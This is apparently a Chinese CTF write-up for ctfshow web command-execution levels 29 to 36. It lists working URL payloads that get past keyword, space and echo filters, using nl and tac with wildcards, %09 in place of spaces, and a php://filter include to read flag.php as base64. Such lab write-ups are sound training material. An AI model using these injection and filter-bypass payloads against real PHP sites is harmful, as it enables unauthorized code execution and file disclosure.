ctfshow-web入门命令执行29

29

源代码给了禁用flag

使用tac、nl

复制代码
?c=echo `nl f*`;
?c=echo `tac f*`;

30

多禁用了system和php

和上题区别不大,使用上一题命令就能解

?c=echo `nl f*`;

?c=echo `tac f*`;

31

禁用了空格使用%09代替

?c=echo%09`tac%09f*`;

32

禁用了echo

使用php伪协议

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

最后解一下base64就行了

33

多过滤了"

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

34-36

一样命令就可以得到flag

相关推荐
weixin_421725268 分钟前
Linux 编程语言全解析:C、C++、Python、Go、Rust 谁更强?
linux·python·go·c·编程语言
Tolalal28 分钟前
Vmware Ubuntu虚拟机扩容
linux·运维·ubuntu
咚为1 小时前
比AccessLog更全面的原生Nginx 日志记录
运维·nginx·junit
我星期八休息1 小时前
Linux系统编程—基础IO
linux·运维·服务器·c语言·c++·人工智能·算法
Shingmc31 小时前
【Linux】数据链路层
linux·服务器·网络
a752066281 小时前
零基础实操:小龙虾 AI OpenClaw 接入 Kimi 详细步骤
运维·服务器
KK溜了溜了1 小时前
Python从入门到精通
服务器·开发语言·python
bksczm1 小时前
文件描述符
linux
Goldbioinformatics2 小时前
Windows版Claude Cowork启动Linux问题
linux·运维·windows